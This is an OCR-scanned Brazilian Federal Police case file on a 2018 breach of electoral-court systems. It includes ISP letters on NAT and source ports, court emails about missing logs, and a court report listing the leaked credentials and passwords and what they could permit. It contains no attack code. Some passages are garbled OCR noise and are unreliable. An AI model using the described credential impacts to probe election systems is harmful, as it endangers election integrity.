judicial, o que não impede o acesso à dados cadastrais por autoridades 
administrativas/policiais, conforme os mesmos repassados no tópico 1. Desta forma, 


| Rua Itapaiüna, 2434 - Vila Andrade - 05707-001 — São Paulo — SP X 














$C m locaweb30 


Paixáo por desenvolver 


poderiamos repassar tal informação ( conteúdo) apenas com а devida ordem judicial. 
Entretanto, confome exposto no tópico 2, os serviços foram desativados em 27 de julho de 
2018, e assim, adiantamos que não possuírimos capacidade técnica para o feito de toda forma 
visto o lapso temporal,( superior à 6 meses, que é o prazo de guarda de dados nos moldes da 
lei supracitada), de modo que, já houve a deleção. 


Sendo o que nos cumpria para o momento, apresentando os protestos de elevada estima e 
distinta consideração, subscrevemo-nos. 


tenciosamente, 


LOCAWEB S VIÇOS DE INTERNET S/A 


Rua Itapaiüna, 2434 - Vila Andrade - 05707-001 — São Paulo — SP 
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Santo André, 7 de Maio de 2019. 


лыы ғалық, f мы Гела МАЙ SERA FU. 


ILMO(A) SR(A) DR(A) DELEGADO(A) DE POLICIA FEDERAL 


VICTOR NEVES FEITOSA CAMPOS 
SUPERINTENDENCIA REGIONAL 


BRASILIA/DF 


С.Т. nº 467148/2019/GRAOP 


Ref: Ofício Extrajudicial: 3419/2019 


iData do Documento: 18/04/2019 


Cumpre-nos esclarecer que o range do IPv4 atingiu sua capacidade máxima de 
atribuições; e; para.náo;haver, a impossibilidade de conexóes dos usuários de dispositivos 
М ARES FIC =, 8 oc eem, C nen y rr, cde < сынны а] A гроба АРКО LA, H rempi 

móveis, foi desenvolvida uma solução. denominada NAT, (network address translation), que 
permite o compartilhamento do ІРу4 por vários usuários ao' mesmo tempo através de 
“portas: lógicas”, diferentes, garantindo que todos SUMMIT do еше ще due 
“ocorra à transição total:ao modelo: IPv6. E Mcd , 4: DIT Gaumen, 

Ç aeri paou ui Ç гззипачу da pesquisa e indicar um usuário quo não ó equals 
tuucado pecias investiaacõns, pais. no rmomonta aue a сете ва competia filets Та 
орт тА -ausénciazda -indicação da porta,lógica. da conexão ora requerida, inviabiliza a 
frealização da pesquisa, posto que'naquela mesma data, hora е fuso, o IP foi utilizado por `~- 
milhares: de usuários simultaneamente. 


Í Decir ferma, aguardaremos n comntomentacio dar informara nmi сие а moro 
í то pà Salientamos, ainda, yque, fornecimento. 'de todos os registros encontrados, 


т š ‚1м, зч q алыры, ra e БЪДА eria! - E FSA 
independentemente da porta lógica, com a devida vênia, resultará na quebra de sigilo de 
milhares de, usuário alheios. aos fatos, vez que, frisa-se, sem a porta lógica não será 
(ровзіуе!. а individualização dos usuários Чен» мета килы, d lC 20-740 реа 


acie du rel St АДУ ыла Ilo Qus заат necessários. 


Desta forma, em que pese estarmos empenhados em executar as pesquisas, é 
imprescindível que o provedor de conteúdo forneça a porta lógica utilizada em cada 
conexáo realizada a partir do(s) IP(s) mencionado(s) para que possamos fornecer, de forma 
inequívoca, os dados cadastrais dos usuários que os a nas datas e horários 


declinados. 
Р . А 


Sendo o que nos cumpria para o momento, permanecemos à inteira disposição para 
quaisquer esclarecimentos adicionais que façam necessários: әман HE, 
tas CELULAR S/A 


ATENCIOSAMENTE, 
ТІМ CELULAR S/A 


TIM Brasil 

(¿Caixa Postal 91,- CEP 09015 970 
e Santo André - SP SEM 
4155 411/4251:6633 

apo ела ба Fax 


PR IPAE ELEM um š 


а 


E ae ai marra psi REP A с. - 
BE 7770 - — ағы э tam ao СЪНЯ A — m... жы а. Q... s.s 5 = зны. 
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São Paulo 8 de Junho de 2019 


Ao,Exmo. Sr. Dr. Delegado de Policia da 
MSP - polícia Federal 

Superintendéncia Regional no Distrito Federal 
Dr. Victor Neves Feitosa Campos 

SAIS Quadra 7 - lote 23 - Setor Policial Sul 
СЕР 70610-902 - Brasilia/DF 

ID n°. 19.155590 


Oficio nº: 3418/2018 
IPL 136182018-4 


A Claro S.A., em atenção ao Ofício em epigrafe, vem manifestar-se nos seguintes termos: 


Após buscas em nossa base de dados, a Operadora vem por meio deste esclarecer que os 
endereço de IP (Internet Protocol) 201.81.167.53 e 201.6.129.235 são denominados 
tecnicamente de IP's Network Address Translation (NAT). 


Explica-se: 


Sempre que ocorre uma conexão à internet, o dispositivo a partir do qual a conexão 
ocorreu mantém um registro consistente no endereço de IP de origem do acesso, data e 
hora, assim como o fuso horário, dados esses que compõem o registro de conexão (art. 5º, 
VI do Marco Civil da Internet). 


Tais informações funcionam como identificador de origem dos acessos dos usuários. 


Contudo, em decorrência do crescimento acelerado do uso da internet, a quantidade de 
© endereços IP versão 4 — IPV4 (quatro octetos), que identificam univocamente cada 
usuário, se esgotou no ano de 2014. Para solucionar o problema, foi criado novo modelo 
de rede — IPV6, com codificações mais longas e, portanto, maior amplitude de endereços. 
Exemplificativamente, é semelhante ao ocorrido com as linhas telefônicas móveis, o que 
culminou na adição do nono digito no ano de 2016. 


Porém, tendo em vista que este novo modelo de rede não está implementado, em virtude 
da complexidade técnica envolvida, restou às Operadoras, mediante autorização da 
ANATEL e alinhamentos com o grupo de trabalho NIC.br, a utilização provisória do 
protocolo de rede NAT para manutenção da taxa de crescimento da rede. 


O protocolo de rede NAT viabiliza a utilização do mesmo endereço de IP, 
simultaneamente, por um número indeterminado de usuários em conexões de internet. A 


Rua Verbo Divino, 1356, Térreo, Chácara Santo Antônio, CEP 04719-002 São Paulo/SP. 
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São Paulo 8 de Junho de 2019 


única forma de distinguir uma conexão da outra — e consequentemente, individualizar 
qual usuário foi responsável pelo acesso à internet — é por meio da Porta Lógica de 
Origem da conexão. 


Desse modo, tratando-se de conexão feita por meio do protocolo NAT, como é o presente 
caso, a única maneira de a Operadora poder individualizar qual o usuário responsável pela 
conexão que se busca é mediante a combinação do número de IP com o número da Porta 
Lógica de Origem. 


Contudo, a Operadora — que é provedora de conexão, na forma do art. 18 do Marco Civil 
da Internet — não dispõe desta segunda informação, pois a obrigação de registro e guarda 
recai exclusivamente sobre o provedor de aplicação, conforme estabelece o art. 15 do 
mesmo diploma legal. Trata-se do site ou aplicação de internet à qual o usuário se 
conectou, como por exemplo, o Google, Facebook etc. 


Diante do exposto, para que a Operadora possa proceder às pesquisas a fim de 
individualizar qual usuário utilizou-se do endereço de IP para a conexão à internet, faz-se 
necessário o fornecimento da Porta Lógica de Origem, a qual deve ser obtida diretamente 
junto ao provedor de aplicação. 


Assim, requer-se que seja indicado, em novo expediente, o endereço de IP, das portas de 
origem utilizadas em cada conexão, data, horário e o fuso horário, a fim de viabilizar à 
Operadora a busca e o fornecimento das informações requisitadas. 


Por fim, destaca-se que a Operadora armazena os registros de conexão pelo período de 36 
(trinta e seis) meses. 


Sendo o que havia a informar, permanecemos à disposição para qualquer esclarecimento 
adicional, apresentando, desde já, votos de elevada estima e consideração. 





Rua Verbo Divino, 1356, Térreo, Chácara Santo Antônio, CEP 04719-002 São Paulo/SP. 
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24/06/2019 Webmail PF - (2375) Caixa de Entrada 


Assunto: Resposta - TSE. Indisponibilidade. Dados adicionais. SS 
De: Cristiano Moreira Andrade <cristiano.andrade(Qtse.jus.br> 
Data: Segunda, Junho 10, 2019 14:41 -03 
Para: campos.vnfe(Ddpf.gov.br «campos.vnfc(a)dpf.gov.br» grcc.df(à)dpf.gov.br «grcc.df(a)dpf.gov.br» 
CC: Giuseppe Dutra Janino <giuseppe.janino(dtse.jus.br> 
Marcelo Carneiro Rodrigues <marcelo.carneiro(Dtse.jus.br> 
Responder-Para: Cristiano Moreira Andrade <cristiano.andrade(Qtse.jus.br> 
Senhores, 


Em atenção ao questionamento sobre evidências que o TSE possua sobre o incidente de setembro/outubro de 2018, 
informamos: 


- O servidor de buiud dos códigos fontes da urna eletrônica não possuía qualquer tipo de log habilitado; 


- Devido a manutenções para solucionar travamentos nos firewall do TSE, a equipe da Global IP realizou reinstalação 
do serviço de gerência, não tendo o devido cuidado de não prejudicar os logs armazenados. Outrossim, o volume de 
logs configurado pela empresa ficou em apenas 80GB, sendo suficiente para apenas 2 dias, considerando-se o volume 
de acessos durante o período eleitoral. 


Assim, informamos que o TSE não possui dados adicionais para repassar à Polícia Federal. 


Respeitosamente, 


Cristiano Moreira Andrade 
Coordenadoria de Infraestrutura 
Secretaria de Tecnologia da Informação 


TRIBUNAL SUPERIOR ELEITORAL 


q ^ 


https://correio.pf.gov.br/SOGo/so/campos.vnfc/Mail/view 1/1 















SERVIÇO PÚBLICO FEDERAL 
MSP - POLICIA FEDERAL 


SUPERINTENDÉNCIA REGIONAL NO DISTRITO FEDERAL 
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902 










REMESSA 


Ministério Püblico Federal do DF 





Ao; 07/08/2019, faço remessa dos autos do ІРІ п“ 
6 8-4, contendo 1 volume(s) e O apenso(s). Eu 

) LEONARDO BRUCE MADUREIRA LOPES, Escrivão 
de Polícia Pederal, 1? Classe, Matrícula n* 17.933, que o lavrei. 
— é 









IPL N° 1361/2018 


$6 
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MINISTÉRIO PÜBLICO FEDERAL y 
PROCURADORIA DA REPÚBLICA NO DISTRITO FEDERAL o. 
COORDENADORIA JURÍDICA 
DIVISÃO CRIMINAL 


AUTOS: DPF/DF-1361/2018-INQ 
CERTIDÃO 


Certifico que, em 09/08/2019, deram entrada na Procuradoria da República no Distrito Federal os presentes autos e, nesta 
- data, conforme regras estabelecidas no Congresso Interno de 2018 e na Resolução 31/2018, faço sua: 


, 


[X] Movimentação ao(à) Procurador(a) da República, Dr.(a) Igor Nery Figueiredo, 
‚ O Por ser o(a) titular do PRDF- 2º Ofício de CCI, ao qual o presente feito encontra-se distribuído. 
О Por ser o(a) titular do PRDF — Oficio de CCI, substituto não designado. 
: atuando no 
acervo do PRDF — 
O Apedido. » 


Brasilia, 09/08/2019. - 


Roberto Pompei - mat 27280-9 
DIVISÁO CRIMINAL 





CERTIDÃO DE REMESSA i | иа 


Ет / I2 0f nois, Ғасо remessa m presentes autos, contendo ds 7T volume(s) 2. anexo/apenso(s), à (ао) 
O Justiça Federal/DF В Departamento de Polícia Federal [] \ 


V | — ала До, / 23 04D 


Responsável/Matrícula 

















Фр 
Ministério Püblico Federal 


Procuradoria da Repüblica no Distrito Federal 
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IPL n* 1361/2018 SR/DPF/DF 


Sr.(a) Delegado(a) de Polícia Federal, 


O presente inquérito náo se encontra suficientemente instruído, havendo 


necessidade de prosseguimento das investigações com vistas à formação da opinio delicti. 


Destarte, este órgão ministerial concede novo prazo de 90 (noventa) dias 
para a realização das diligências indispensáveis ao esclarecimento dos fatos sob apuração, 


conforme solicitado à fl. 78. 


Brasília/DF, 12 de agosto de 2019. 








PR/DF | SGAS 604, Lote 23, Av. L2 Sul, Brasília/DF CEP:70200-640 
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се: 


SERVICO PÜBLICO FEDERAL 
MSP - POLÍCIA FEDERAL 


SUPERINTENDÉNCIA REGIONAL NO DISTRITO FEDERAL 
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902 


IPL n? 1361/2018-4 - SR/PF/DF 
DESPACHO n° 17414/2019 


1. Considerando a resposta da empresa TIM e da empresa Claro, expeca-se ofício ao 
TSE (encaminhe-se cópia ao endereco de emial de fl. 85) solicitando informar as 
portas lógicas das seguintes conexóes, bem como seus fusos horários: 


189.40.75.154, em 18/04/2018, às 18:56:14 

191.51.34.72, em 18/04/2018, às 19:02:05 

189.40.75.239, em 18/04/2018 20:45:41 

177.219.117.183, em 18/04/2018, às 20:56:20 

189.40.72.247, 18/04/2018, às 22:21:17 

189.40.72.14, em 18/04/2018 22:23:14 

189.40.91.135, em 18/04/2018, às 22:29:37 

189.40.90.239, em 19/04/2018, às 01:13:32 

189.40.90.253, em 19/04/2018, às 04:08:37 

201.81.167.53, em 18/04/2018, às 03:15:28 e 21/04/2019, às 08:36:42, e 
201.6.129.235, em 18/04/2018, às 05:24:54 e 18/04/2018, às 05:48:59. 


2. Considerando que ainda restam pendentes diligéncias tidas por imprescindíveis ao 
esclarecimento da verdade material (art. 4°, do CPP e ап. 29, 819, da Lei 12.830/2013) 
e considerando as disposições do Provimento/COGER nº 37/2009 (TRF 1? Região), 
remetam-se estes autos ao MPF do DF, para fins de controle externo (Art. 129, VII, 
da CF/88, c/c. о Art. 9°, Il, da LC 75/93), solicitando posterior devolucáo para 
continuidade das investigações ou, em caso de apresentação de peça acusatória ou 
promocáo de arquivamento, сотипісасао formal da medida adotada a esta 
Superintendéncia, para fins de registro e baixa em sistemas de controle interno. 


Brasilia/DF, 27 de novembro de 2019. 





Classe Especial - Matrícula-n° 16.179 


IPL N° 1361/2018 
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SERVICO P PÜBLICO FEDERAL 
MSP - POLÍCIA FEDERAL 


SUPERINTENDÉNCIA REGIONAL NO DISTRITO FEDERAL 
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasília/DF - CEP 70.610-902 


Ofício n? 0070/2020 - IPL 1361/2018-4 SR/PF/DF - GRCC 


Brasília/DF, 06 de janeiro de 2020. 


A Sua Exceléncia 

Ministra ROSA MARIA PIRES WEBER 

Presidente do Tribunal Superior Eleitoral 

Tribunal Superior Eleitoral - TSE 

Setor de Administracáo Federal Sul (SAFS) 

Quadra 7, Lotes 1/2, Brasilia/DF Lo carat 


ж.“ “idas 


CEP 70070-600 Ке сакта 
Assunto: Solicitação de informações 
Ref.: IPL 1361/2018-4 - SR/PF/DF - (Favor citar essa reféréncia na resposta) 


Senhora Ministra, 


Visando instruir os autos do Inquérito Policial n? 1361/2018-4 - 
SR/PF/DF, solicito a Vossa Exceléncia solicitando informar as portas lógicas das 
seguintes conexóes, bem como seus fusos horários: 


189.40.75.154, em 18/04/2018, às 18:56:14 
191.51.34.72, em 18/04/2018, às 19:02:05 
189.40.75.239, em 18/04/2018 20:45:41 
177.219.117.183, em 18/04/2018, às 20:56:20 
189.40.72.247, 18/04/2018, às 22:21:17 
D 189.40.72.14, em 18/04/2018 22:23:14 
189.40.91.135, em 18/04/2018, às 22:29:37 
189.40.90.239, em 19/04/2018, às 01:13:32 
189.40.90.253, em 19/04/2018, às 04:08:37 
201.81.167.53, em 18/04/2018, às 03:15:28 e 21/04/2019, às 08:36:42, e 
201.6.129.235, em 18/04/2018, às 05:24:54 e 18/04/2018, às 05:48:59. 


Em anexo cópia de fl. 85 dos autos, encaminhada pelo servidor 
CRISTIANO MOREIRA ANDRADE. 


Respeitosamente, 


VICTOR NEVES FEITOSA CAMPOS 
Delegado de/Polícia. Federal 
Classe Евресіау- Matrícula n? 16.179 
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` PROCURADORIA DA REPÚBLICA NO DISTRITO FEDERAL ; 


COORDENADORIA JURÍDICA 
- DIVISÃO CRIMINAL 
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AUTOS : DPF/DF-1361/2018-INQ : | 


CERTIDÃO 


| e Certifico que, em 08/01/2020, os presentes autos deram entrada na Procuradoria da Repüblica 
no Distrito Federal e, nesta data, conforme regras estabelecidas no Congresso Interno de 2018 
e па Resolução 31/2018, faço sua MOVIMENTAÇÃO ao(a) Procurador(a) da República, 
Dr(a). IGOR NERY FIGUEIREDO, por ser o(a) titular do PRDF — 2º Ofício de CCI, ao qual 
o presente feito encontra-se distribuído. | | Е | 


- 


Brasilia, 8 de janeiro de 2020. 





* 


É * CERTIDÃO DE REMESSA 
Em 40 / 032019, faço remessa dos presentes autos, contendo RS volume(s) + anexo(s)/ 
_apenso(s), ao(à) | | : 
[ ]Justiça Federal/DF, а Vara [x] Departamento de Polícia Federal 


Г | Outro: Да NE | 
| | (Сал Ды. / 249323 


Responsável / Matrícula ! 





` 








4. 


PR-DE-MANIFESTAÇÃO-353/2020 





` MINISTÉRIO PÚBLICO FEDERAL 
. PROCURADORIA DA REPÚBLICA - DISTRITO FEDERAL , 





” 


IPL nº 1361/2018 SR/DPF/DF. 
a | mE ` ' Sr(a) Delegado(a) de Polícia Federal, | : га | 


“O presente inquérito não se encontra suficientemente instruído, havendo 


Para verificar a assinatura acesse 


“Chave 26117C0D.1268B0FF.312A940B.1B388916 


necessidade de prosseguimento das investigações com vistas à formação da opinio delicti. 


Com efeito; a autoridade policial, no. despacho de fl. 89, encaminha os autos 


- para nação de prazo, determinando, ainda, a expedição de ofício ao TSE. 


Acolhendo a solicitação da Polícia Federal; este órgão ‘ministerial concede 


novo prazo de 90 (noventa) dias para cumprimento das diligências pendentes, relevantes 


em 09/01/2020 18:39. 


ao esclarecimento dos fatos sob apuração. 


Brasília/DF, data da assinatura eletrônica. 


` IGOR NERY FIGUEIREDO 


Procurador da República 


Página | de 1 


Documento assinado via Token digitalmente por IGOR NERY FIGUEIREDO, 


http://www.transparencia.mpf.mp.br/validacaodocumento. 
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SR/PF/DF 
EL 


Rub: 





SERVICO PÜBLI 
MSP - POLÍCIA FEDERAL 


SUPERINTENDÉNCIA REGIONAL NO DISTRITO FEDERAL 
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902 





IPL n? 1361/2018-4 - SR/PF/DF 
DESPACHO n° 2683/2020 
1. Verifique-se se consta em cartório resposta ao ofício de fl. 90. Em caso 


positivo, junte-se. Em caso negativo, reitere-se. 


2. Ехреса-ве ofício ao TSE, solicitando informar se foi instaurada 
sindicáncia ou processo administrativo para apurar os fatos relacionados ao Ofício 
5825 GAB-SPR, caso positivo solicita-se que encaminhe cópia do procedimento para 
ә este signatário. 


3. Aguarde-se em cartório resposta aos expedientes supra, observando-se 
о prazo de permanência dos autos no âmbito policial. 


Brasilia/DF, 11 de marco de 2020. 




















SR/PE/DF 
FI; 
Rub: R 





УЫ; 


SERVICO PÜBLICO FEDERAL 
MSP - POLÍCIA FEDERAL 


SUPERINTENDÉNCIA REGIONAL NO DISTRITO FEDERAL 
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902 


Ofício n? 2179/2020 - IPL 1361/2018-4 SR/PF/DF - GRCC 


Brasília/DF, 06 de abril де 2020. 
A Sua Exceléncia 
Presidente do Tribunal Superior Eleitoral 
Tribunal Superior Eleitoral - TSE 
Setor de Administração Federal Sul (SAFS) 
Quadra 7, Lotes 1/2, Brasília/DF 
CEP 70070-600 


Assunto: Reiteração do Ofício nº Ofício nº 0070/2020 - IPL 1361/2018-4 SRIPFIDF 
Ref.: IPL n? 1361/2018-4 - SR/PF/DF - (Favor citar essa referência na resposta) 


Senhora Ministra, 


Visando instruir os autos do Inquérito Policial nº 1361/2018-4 - 
SR/PF/DF, solicito a Vossa Excelência solicitando informar as portas lógicas das 
seguintes conexões, bem como seus fusos horários: 


189.40.75.154, em 18/04/2018, às 18:56:14 

191.51.34.72, em 18/04/2018, às 19:02:05 

189.40.75.239, em 18/04/2018 20:45:41 

177.219.117.183, em 18/04/2018, às 20:56:20 

189.40.72.247, 18/04/2018, às 22:21:17 

189.40.72.14, em 18/04/2018 22:23:14 

189.40.91.135, em 18/04/2018, às 22:29:37 

189.40.90.239, em 19/04/2018, às 01:13:32 

189.40.90.253, em 19/04/2018, às 04:08:37 

201.81.167.53, em 18/04/2018, às 03:15:28 е 21/04/2019, às 08:36:42, e 
201.6.129.235, em 18/04/2018, às 05:24:54 e 18/04/2018, às 05:48:59. 


Em anexo cópia de fl. 85 dos autos, encaminhada pelo servidor 
CRISTIANO MOREIRA ANDRADE. 


Respeitosamente, 





VICTOR NEVES FEITOSA CAMPOS 
Delegado de'Poljcia Federal 
Classe Especial - Matrícula nº 16.179 . 











у! : pod Би 
SERVICO PÜBLICO FEDERAL 
MSP - POLICIA FEDERAL 


SUPERINTENDÉNCIA REGIONAL NO DISTRITO FEDERAL 
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902 


Ofício n? 2180/2020 - IPL 1361/2018-4 SR/PF/DF - GRCC 


Brasília/DF, 06 de abril de 2020. 
A Sua Exceléncia 
Presidente do Tribunal Superior Eleitoral 
Tribunal Superior Eleitoral - TSE 
Setor de Administracáo Federal Sul (SAFS) 
Quadra 7, Lotes 1/2, Brasília/DF 
CEP 70070-600 


Assunto: Solicitação de informações 
Ref.: IPL 1361/2018-4 - SR/PF/DF - (Favor citar essa referência na resposta) 


Senhora Ministra, 


Visando instruir os autos do Inquérito Policial nº 1361/2018-4 - SR/PF/DF, 
solicito a Vossa Excelência, informar se foi instaurada sindicância ou processo 
administrativo para apurar os fatos relacionados ao Ofício 5825 GAB-SPR, caso 
positivo solicito que encaminhe cópia do procedimento para este signatário. 


Respeitosamente, 






VICTOR NEVES ГЕЙ OSA CAMPOS 
Delegado де Pólidia Federal 
Classe Especial | Matricula n? 16.179 








POLÍCIA FEDERAL 
GRUPO DE REPRESSÀO A CRIMES CIBERNÉTICOS - GRCC/DRCOR/SR/PF/DF 


Endereco: SAIS, Qd. 7, Lote 23, Sala 135 - CEP: 70610-902 - Brasília/DF 


CERTIDÃO DE DESENTRANHAMENTO 
2020.0043195-SR/PF/DF 


CERTIFICO QUE, desentranhei dos autos os documentos relacionados em virtude de falha no escaneamento do 
IPL (faltando folha). O referido é verdade e dou fé. 


Documento eletrónico assinado em 04/11/2020, às 11h15, por LEONARDO BRUCE MADUREIRA LOPES, 
Escrivao de Policia Federal, na forma do artigo 1°, inciso III, da Lei 11.419, de 19 de dezembro de 2006. A 
autenticidade deste documento pode ser conferida no site https://servicos.dpf.gov.br/assinatura/app/assinatura, 
informando o seguinte código verificador: 849a25cfee26191a419099e5c5d7638a05f50485 





POLÍCIA FEDERAL 
GRUPO DE REPRESSÃO A CRIMES CIBERNÉTICOS - GRCC/DRCOR/SR/PE/DE 


DESPACHO N? 1125040/2020 
2020.0043195-SR/PF/DF 


Considerando os Ofícios de fls. 94 e 95 dos autos fisicos. 


1. 1. Aguarde-se a resposta do ofício de fl. 94. 


2.2. Junte-se a resposta do Ofício de fl. 95, o qual informa a abertura de Comissão de Sindicância e 
documentos 
anexos. 


Brasília/DF, 4 de novembro de 2020. 


Documento eletrônico assinado em 04/11/2020, às 11h17, por LEONARDO BRUCE MADUREIRA LOPES, 
Escrivao de Policia Federal, na forma do artigo 1º, inciso III, da Lei 11.419, de 19 de dezembro de 2006. A 
autenticidade deste documento pode ser conferida no site https://servicos.dpf.gov.br/assinatura/app/assinatura, 
informando o seguinte código verificador: 1a7cebcdab4ecd2c92242325b4b1fb29f277adb1 





POLÍCIA FEDERAL 
GRUPO DE REPRESSÃO A CRIMES CIBERNÉTICOS - GRCC/DRCOR/SR/PF/DF 


Endereco: SAIS, Qd. 7, Lote 23, Sala 135 - CEP: 70610-902 - Brasília/DF 


CERTIDÃO DE DESENTRANHAMENTO 
2020.0043195-SR/PF/DF 


CERTIFICO QUE, desentranhei dos autos os documentos relacionados em virtude de erro no escaneamento do 
autos. O referido é verdade e dou fé. 


Documento eletrónico assinado em 04/11/2020, às 11h20, por LEONARDO BRUCE MADUREIRA LOPES, 
Escrivao de Policia Federal, na forma do artigo 1°, inciso III, da Lei 11.419, de 19 de dezembro de 2006. A 
autenticidade deste documento pode ser conferida no site https://servicos.dpf.gov.br/assinatura/app/assinatura, 
informando o seguinte código verificador: 47fbb82ab1eda190e690bed712256a93f61cd5a6 


вт. WA 
SR/PF/DF 
2020.0043195 





TRIBUNAL SUPERIOR ELEITORAL 


Ofício GAB-SPR n* 1507/2020 


Brasília, 15 de abril de 2020. 
A Sua Exceléncia o Senhor 
Delegado de Polícia Federal VICTOR NEVES FEITOSA CAMPOS 
Superintendéncia Regional no Distrito Federal 
Brasília - DF 


Assunto: : IPL 1361/2018-4 - SR/PF/DF 
Senhor Delegado de Polícia Federal, 


Em atenção ao Ofício nº 2180/2020, informo a Vossa Excelência que, em relação 
aos fatos noticiados por meio do Ofício SPR nº 5825/, de 6.11.2018, foi instaurada 
Comissão de Sindicância, objeto do Procedimento SEI nº 2018.00.000014309-3 (Sigiloso), 
ainda em andamento, conforme cópia em anexo. 


Atenciosamente, 


RICARDO FIOREZE 
Juiz Auxiliar da Presidência 


RICARDO FIOREZE 
JUIZ AUXILIAR DA PRESIDÊNCIA DO TRIBUNAL SUPERIOR ELEITORAL 


*"| Documento assinado eletronicamente em 15/04/2020, às 16:12, conforme art. 1º, 82º, III, b, 
da Lei 11.419/2006. 


o A autenticidade do documento pode ser conferida em 









2020.00,000003366-3 Documento n? 1303517 v5 





11 da Lei 11.419/2006. 


17933, em 04/11/2020, às 11h20. 


do Art. 


Este documento tem o mesmo valor probante do original apresentado, nos termos do $ 1? 


MATRÍCULA: 


Autenticado por Escrivao de Policia Federal, LEONARDO BRUCE MADUREIRA LOPES, 


Si gi loso 

EIL. 

SR/PF/DF 
2020.0043195 


TRIBUNAL SUPERIOR ELEITORAL 


Informação n? 32 STI 
Assunto: Denüncia de acesso indevido de dados relativos aos sistemas 
eleitorais e ao projeto do hardware da UE2018 


Senhor Diretor-Geral, 


1. Trata-se de informar acerca do recebimento de denüncia de acesso indevido 
de dados relativos aos sistemas eleitorais e ao projeto do hardware da UE2018. 
Tal denúncia foi encaminhada por e-mail à Assessoria de Comunicação deste 
Tribunal, a qual solicitou esclarecimentos sobre o teor do e-mail encaminhado 
pelo senhor Felipe Payão, identificado como repórter do portal TecMundo 
(https://www.tecmundo.com.br/). O conteúdo do e-mail encontra-se nos 
documentos anexos. 


2. Com relação ao conteúdo do arquivo TSE.rar, encaminhado pelo repórter 
(conteúdo impresso anexo), é possível afirmar que: 


2.1. foram incluídas capturas de tela de computador mostrando trechos de 
código-fonte do aplicativo Gedai-UE, de listas de arquivos e também de 
conteúdos de documentos; e 

2.2. foram incluídos arquivos presentes na árvore de código-fonte do Gedai-UE. 


3. Tal conteúdo evidencia o acesso indevido dos seguintes dados: 

3.1. código-fonte completo do Gedai-UE, possivelmente da versão usada nas 
Eleições 2018, porém sem as assinaturas da Cerimônia de Lacração; 

3.2. chaves e credenciais de acesso a servidores usadas pelo Gedai-UE; 

3.3. senhas para oficialização dos sistemas Candidaturas e Horário Eleitoral 
utilizadas para a Eleição Suplementar 2018 de Aperibé/RJ; 

3.4. manual técnico da impressora de votos desenvolvida pelo FIT/Quattro 
Eletrônica; 

3.5. manual do QR Code do boletim de urna. 


4. Não há evidência de acesso indevido do código-fonte do software da urna - 
Uenux, embora exista a evidência de acesso indevido de código comum entre o 
Gedai-UE e o Uenux. 


Autenticado por Escrivao de Policia Federal, LEONARDO BRUCE MADUREIRA LOPES, MATRÍCULA: 17933, em 04/11/2020, às 11h20. 


Este documento tem o mesmo valor probante do original apresentado, nos termos do 8 19 do Art. 11 da Lei 11.419/2006. 


5. Com relação ao material acessado indevidamente, o impacto é o seguinte: 


5.1. o manual do QR Code (item 3.5) já é de domínio püblico e encontra-se 
publicado na Internet; 

5.2. o manual da impressora de votos (item 3.4) nào possui informação sensível, 
uma vez que trata-se da documentação de um protótipo que nunca entrou em 


Z 
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Si gi loso 

EIL. р 

SR/PF/DF 
2020.0043195 


operação - o seu caráter sigiloso se deve a uma relação contratual entre o FIT e 
a Quattro Eletrónica; 

5.3. as senhas de oficialização (item 3.3) permitem a alteração de dados de 
partidos e candidatos (até mesmo a sua exclusão) no contexto de um processo 
eleitoral (ou seja, no caso concreto afeta somente a Eleição Suplementar 2018 
de Aperibé/RJ); 

5.4 as credenciais de acesso aos servidores usadas pelo Gedai-UE (item 3.2) 
podem permitir que alguém dentro da intranet da Justiça Eleitoral consiga copiar 
os dados de eleitores e candidatos que alimentam as urnas, mas sem a 
capacidade de adulterá-los; 

5.5. as chaves usadas pelo Gedai-UE (item 3.2) ainda requerem uma análise de 
risco mais detalhada; isso porque parte das chaves sào geradas no momento da 
lacração e о acesso indevido diz respeito a material presente no ambiente de 
desenvolvimento — ou seja, o software lacrado usa chaves diferentes; na 
hipótese de serem as mesmas, existe a possibilidade de manipulação de 
arquivos de configuração que alimentam o software da urna; e 

5.6. o código-fonte do Gedai-UE, acompanhado de seus binários compilados, 
permite a importação de dados oficiais das eleições e carregamento de urnas 
com esses dados; contudo, o software de uma utilizado não tem as assinaturas 
oficiais da lacração, o que fica evidenciado pelo LED de segurança da urna e 
pelos procedimentos de verificação de hash e assinatura; também não seria 
possível a geração de um boletim de urna válido para a Totalização a partir 
disso. 


11 da Lei 11.419/2006. 


do Art. 
MATRÍCULA: 17933, em 04/11/2020, às 11h20. 


6. Diante desse cenário, solicita-se a abertura de inquérito policial junto à Polícia 
Federal para apuração dos fatos. 


7. Outras providências já estão em andamento nesta STI para sanar as 
fragilidades que resultaram nesse acesso indevido, assim como tornar os 
sistemas expostos ainda mais seguros. 


8. Finalmente, alerta-se sobre a necessidade de tramitação urgente deste 
processo. 


É o que informo. 


Brasília, 07 de novembro de 2018. 


Este documento tem o mesmo valor probante do original apresentado, nos termos do 5 1? 
Autenticado por Escrivao de Policia Federal, LEONARDO BRUCE MADUREIRA LOPES, Í 






GIUSEP 


Secretário de Тесиоіодіа da Informação 
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Sigiloso 


SR/PF/DF 
2020.0043195 


ENC: TecMundo - Possível acesso ao GEDAI/Documentos 


Assunto: ENC: TecMundo - Possível acesso ao GEDAI/Documentos 

De: Imprensa <imprensa(Otse.jus.br> 

Data: 06/11/2018 13:57 

Para: Rodrigo Carneiro Munhoz Coimbra <rodrigo.coimbra(Otse.jus.br> 


Pode nos dar um help? 
Obrigada! 


Leticia 


De: Felipe Payão [mailto:felipe.cruzgruponzn.com)] 

Enviada em: terça-feira, 6 de novembro de 2018 13:47 

Para: Imprensa; silvana.freitasQtre-sp.jus.br 

Assunto: Re: TecMundo - Possível acesso ao GEDAI/Documentos 


11 da Lei 11.419/2006. 


17933, em 04/11/2020, às 11h20. 


do Art. 


Os arquivos estão no ZIP, como indiquei na ligação. 


Obrigado 


MATRÍCULA: 


Em 6 de novembro de 2018 12:36, Felipe Payão <felipe.cruzia gruponzn.com> escreveu: 
Olá. Tudo bem? 


nos termos do 8 1º 


Recebemos alguns documentos e imagens de uma suposta invasão ao sistema СЕРА І e outras 
